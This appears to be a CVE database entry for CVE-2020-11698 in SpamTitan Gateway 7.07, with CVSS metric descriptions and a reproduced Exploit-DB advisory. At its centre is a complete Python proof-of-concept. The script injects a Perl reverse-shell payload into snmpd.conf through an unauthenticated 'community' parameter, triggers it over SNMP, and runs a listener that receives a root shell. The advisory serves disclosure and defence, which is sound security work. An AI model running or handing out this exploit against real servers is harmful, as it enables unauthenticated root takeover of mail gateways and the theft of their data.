Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-77 |
Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
|
Metrics
| Metric |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 48856
Publication date : 2020-10-04 22:00 +00:00
Author : Felipe Molina
EDB Verified : No
# Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution
# Date: 2020-09-18
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
# Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
# Version: 7.07
# Tested on: FreeBSD
# CVE : CVE-2020-11698
---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in
snmp-x.php]------------------------------
SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote
Code Execution in snmp-x.php
Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions)
Vulnerability: Unauthenticated Remote Code Execution
CVSSv3: 10.0
(https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Severity: Critical
Release Date: 2020-04-17
CVE: CVE-2020-11698
I. Background
~~~~~~~~~~~~~
From www.spamtitan.com:
"SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
administrators with extensive tools to control mail flow and protect against
unwanted email and malware."
II. Description
~~~~~~~~~~~~~~~
Improper input sanitization of the parameter "community" on the page
snmp-x.php would allow a remote attacker to inject command directives into the
file snmpd.conf. This would allow executing commands on the target server by
by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon
of the server for the correct OID.
III. PoC
~~~~~~~~
Use python 3 and install the following modules: requests, pysnmp.
If your IP is 192.168.1.5 and the target SpamTitan server is
spamtitan.example.com, call the PoC like this:
./poc.py -t spamtitan.example.com -i 192.168.1.5
---------------------------------------------
#!/usr/bin/env python
# Author: Felipe Molina (@felmoltor)
# Date: 09/04/2020
# Python Version: 3.7
# Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan
7.07 and previous versions.
# The script abuses of two weaknesses on the product:
# 1. Unauthenticated interaction with snmp-x.php script
# 2. Injection of snmpd.conf configuration directives in multiple POST
parameters such as "community" or "user_username" of snmp-x.php
# Product URL: https://www.spamtitan.com/
# Product Version: 7.07 and probably previous
import requests
requests.packages.urllib3.disable_warnings()
import os
import threading
from optparse import OptionParser
import socket
import json
from pysnmp.hlapi import *
from urllib.parse import urlparse
from time import sleep
SNMPGETDELAY=5
def parseoptions():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target",
help="Target SpamTitan URL to attack. E.g.:
https://spamtitan.com/", default=None)
parser.add_option("-i", "--ip", dest="ip",
help="Local IP where to listen for the reverse
shell. Default: %s" % myip(), default=myip())
parser.add_option("-p", "--port", dest="port",
help="Local Port where to listen for the reverse
shell. Default: 4242", default=4242)
parser.add_option("-q", "--quiet",
action="store_true", dest="quiet", default=False,
help="Shut up script! Just give me the shell.")
return parser.parse_args()
def printmsg(msg,quiet=False,msgtype="i"):
if (not quiet):
if (success):
print("[%s] %s" % (msgtype,msg))
else:
print("[-] %s" % msg)
def info(msg,quiet=False):
printmsg(msg,quiet,msgtype="i")
def success(msg,quiet=False):
printmsg(msg,quiet,msgtype="+")
def fail(msg,quiet=False):
printmsg(msg,quiet,msgtype="-")
def myip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
# doesn't even have to be reachable
s.connect(('10.255.255.255', 1))
IP = s.getsockname()[0]
except:
IP = '127.0.0.1'
finally:
s.close()
return IP
def shellServer(ip,port,quiet):
servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servers.bind((ip, port))
servers.listen(1)
info("Waiting for incoming connection on %s:%s" % (ip,port))
conn, addr = servers.accept()
conn.settimeout(1)
success("Hurray, we got a connection from %s" % addr[0])
prompt =conn.recv(128)
prompt=str(prompt.decode("utf-8")).strip()
command = input(prompt)
while True:
try:
c = "%s\n" % (command)
if (len(c)>0):
conn.sendall(c.encode("utf-8"))
# Quit the console
if command == 'exit':
info("\nClosing connection")
conn.close()
break
else:
completeanswer=""
while True:
answer=None
try:
answer=str((conn.recv(1024)).decode("utf-8"))
completeanswer+=answer
except socket.timeout:
completeanswer.strip()
break
print(completeanswer,end='')
command = input("")
except (KeyboardInterrupt, EOFError):
info("\nClosing connection")
break
def triggerSNMPShell(target, community, triggeroid, port, quiet):
if (not quiet):
print("Waiting %s seconds to allow the main thread set-up the
shell listener." % SNMPGETDELAY)
# Give the parent thread a few seconds to set up the shell
listener before triggering the SNMP get query
sleep(SNMPGETDELAY)
if (not quiet):
print("Querying the SNMP server to launch the shell.")
targetp = urlparse(target)
errorIndication, errorStatus, errorIndex, varBinds = next(
getCmd(SnmpEngine(),
CommunityData(community, mpModel=0),
UdpTransportTarget((targetp.netloc, port)),
ContextData(),
ObjectType(ObjectIdentity(triggeroid)))
)
if errorIndication:
print("SNMP error: %s" % errorIndication)
elif errorStatus:
print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(),
errorIndex and varBinds[int(errorIndex) -
1][0] or '?'))
def main():
(options,arguments) = parseoptions()
q = options.quiet
t = options.target
i = options.ip
p = options.port
community="dummy"
if (t is None):
print("[-] Error. Specify a target (-t).")
exit()
if ((not "http://" in t) and (not "https://" in t)):
t = "http://%s/snmp-x.php" % t
else:
t = "%s/snmp-x.php" % t
if (not q):
print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p))
TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108"
# PAYLOAD="extend revshell /usr/bin/perl -e 'use
Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
-i\");};'" % (i,p)
PAYLOAD="extend revshell /usr/bin/perl -e 'use
Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
-i\");};'" % (i,p)
TOGGLESNMP={
"jaction":"toggleSNMP",
"newval":"1"
}
INJECTION={
"jaction":"saveAll",
"contact":"CONTACT",
"name":"SpamTitan",
"location":"LOCATION",
# Add our IP as allowed to query the injected "dummy" community
# Add also the perl payload in a new line (%0a) of the snmpd.conf file
"community":'%s" %s\n%s # ' % (community,i,PAYLOAD)
}
rev_thread = threading.Thread(target=triggerSNMPShell, args=(t,
community, TARGETOID, 161,q))
rev_thread.start()
# Start a thread to listen for incoming reverse shells:
if (not q):
print("[+] Launching a reverse shell listener to wait for the shell.")
# Send the SNMP request to add a community and append an "extend"
command to execute scripts
# SpamTitan would add a new line in the snmpd.conf file with the
new community name and the "extend" script
inj_res = requests.post(t,INJECTION,verify=False)
if (inj_res.status_code == 200):
if (not q):
print("Spawning a reverse shell listener. Wait for it...")
shellServer(options.ip,int(options.port),options.quiet)
else:
print("Error. The target is probably not vulnerable (returned
a %s code)." % inj_res.status_code)
main()
---------------------------------------------
III. Impact
~~~~~~~~~~~
The snmpd daemon is running as root in the target server. The
pressented PoC would return a root shell without need of any
registered user in the target server. There is total loss of
confidentiality, integrity and availability on the SpamTitan server.
IV. Disclosure
~~~~~~~~~~~~~~
Reported By: Felipe Molina de la Torre
Vendor Informed: 2020-04-17
Patch Release Date: 2020-05-26
Advisory Release Date: 2019-09-18
V. References
~~~~~~~~~~~~~
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698
* https://sensepost.com/blog/2020/clash-of-the-spamtitan/
---------------------------------[SPUK-2020-09/SpamTitan
Unauthenticated Remote Code Execution in snmp-x.php]---
Products Mentioned
Configuraton 0
Titanhq>>Spamtitan >> Version 7.07
References
